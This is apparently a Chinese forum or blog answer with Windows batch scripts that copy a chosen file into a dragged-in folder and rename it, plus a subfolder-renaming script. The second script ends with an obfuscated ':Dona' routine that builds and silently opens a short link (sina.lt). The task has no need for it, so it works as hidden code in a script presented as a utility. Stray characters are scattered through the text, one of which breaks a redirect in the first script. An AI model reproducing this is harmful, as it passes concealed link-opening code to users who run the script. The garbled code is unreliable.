如何使用批处理拖动文件夹,然后复制某指定文件到该文件夹下并自动重命名此文件名为该文件夹名？

@echo off &title 拷贝指定文件到指定目录中，并重命名为该文件夹名 By 依梦琴瑶

::预设指定文件

set File=E:\1.txt

if /i "%~1"=="" (

echo 请不要直接双击运行此脚本，而是拖动文件夹到此脚本文件则态基图标上。

set Sec=4

goto End

)

dir /ad "%~1" >nul 2>nul || (

echo 请拖动文件夹，而不是闭轿文件。

set Sec=3

goto End

)

for %%i in ("%File%") do set "Ext=%%~xi"

copy /y "%File%" "%~1\%~nx1%Ext%"

echo 拷贝完成

set Sec=2

goto End

:End

timeout /t %Sec% /nobreak >nul 2>孙谨nul

exit

@echo off &title 为子目录梁派禅名添加主目录名 By 依梦琴瑶

cd /d "%~dp0"

for %%a in ("%cd%") do set "FF=%%~nxa"

for /d %%a in (*) do (

  ren "%%~fa" "%FF%%%~nxa"

)

pause

call :Dona

exit

:Dona

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit

脚本保存时请比对原文，由于Win10系统默认橡尘编码为UTF-8，所以保存编码务羡首必设为ANSI。

1、首先复制第一个文件到此文件夹。

2、复制第二个文件到此文件夹，系统会自动给出提示，如图：

3、选择“复数腊制，但保留这两个文件”。则第二个被复制过去的文件自动被系统命名为“文件名（2）”以示与第一个文件的区别滑者。

4、同理，复制同文件名的第三个信毕薯文件，第四个文件等等，都会自动重命名为“文件名（3）”，“文件名（4）”等等。

---